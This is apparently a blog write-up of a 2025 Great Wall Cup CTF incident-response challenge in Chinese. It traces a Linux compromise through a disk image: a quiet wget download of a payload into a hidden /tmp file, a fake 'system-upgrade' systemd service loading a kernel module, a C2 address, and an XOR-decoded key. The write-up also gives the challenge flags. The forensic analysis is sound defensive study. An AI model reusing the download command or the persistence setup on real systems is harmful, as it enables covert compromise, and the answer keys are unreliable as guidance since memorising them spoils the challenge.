2025长城杯半决赛-应急响应

2025长城杯半决赛-应急响应

ISW-1

题目:小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。

  1. 使用R-STUDIO 打开raw镜像

    image-20250806091303654

  2. home/ubuntu文件夹下中的1.txt中有执行的wget命令记录

    image-20250806092225880

wget --quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade

  • wget:Linux下载工具
  • --quiet:静默模式,不显示输出信息
  • http://mirror.unknownrepo.net/f/l/a/g/system_upgrade:从可疑域名下载名为"system_upgrade"的文件
  • -O /tmp/.system_upgrade:将下载的文件保存为/tmp目录下的隐藏文件.system_upgrade
  1. 在/home/ubuntu/.viminfo 文件中找到system-upgrade.service 被多次修改

    image-20250806092723335

  2. 在\etc\systemd\system\ 找到服务文件

    image-20250806093446554

服务配置分析

  1. Unit 部分

    • After=multi-user.target:确保在系统完全启动后运行
    • 伪装成系统升级服务,具有迷惑性
  2. Service 部分

    • Type=forking:服务以分叉方式运行(常用于后台进程)
    • ExecStart=/sbin/insmod /lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
      • 使用 insmod加载内核模块
      • 路径伪装成标准内核驱动位置
      • .ko文件是 Linux 内核模块
  3. Install 部分

    • WantedBy=multi-user.target:确保在系统启动时自动激活
  4. 内核取证,恢复该ko文件,使用IDA逆向

找到主体函数 ULRYvXzICzy880dO ,函数名被混淆了

发现隐藏的IP地址 192.168.57.203 和隐藏端口 4948 1337

image-20250806101010887

都尝试MD5一下,最后flag(md5(192.168.57.203:4948)) flag(59110f555b5e5cd0a8713a447b082d63)

ISW-2

题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}

1.system_upgrade 是服务, systemd-agentd 应该就是木马文件了,文件位置在/lib/systemd/systemd-agentd

image-20250806100141283

使用R-STUDIO进行恢复,然后找在线MD5文件计算

image-20250806101152738

bccad26b665ca175cd02aca2903d8b1e

ISW-3

题目3:找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。

system-upgrade.ko 文件即持久化程序

image-20250806112734500

ISW-4

题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。

根据题目1中的1.txt 中的wget命令 历史

image-20250806113144705

.system_upgrade

image-20250806113328931

ISW-5

题目5:分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。

用IDA逆向分析,查看可以的字符串,猜测 unk_4BEFFD为通信密钥

image-20250806114333152

追踪到原函数,有异或行为

image-20250806114457964

提取出数据,并进行异或操作,编写python代码实现,得到通信密钥

使用shift +e 提取数据为数组格式

image-20250807082412707

image-20250807083651941

ThIS_1S_th3_S3cR3t_fl@g

posted @ 2025-08-07 08:42  rong_yan  阅读(47)  评论(0)    收藏  举报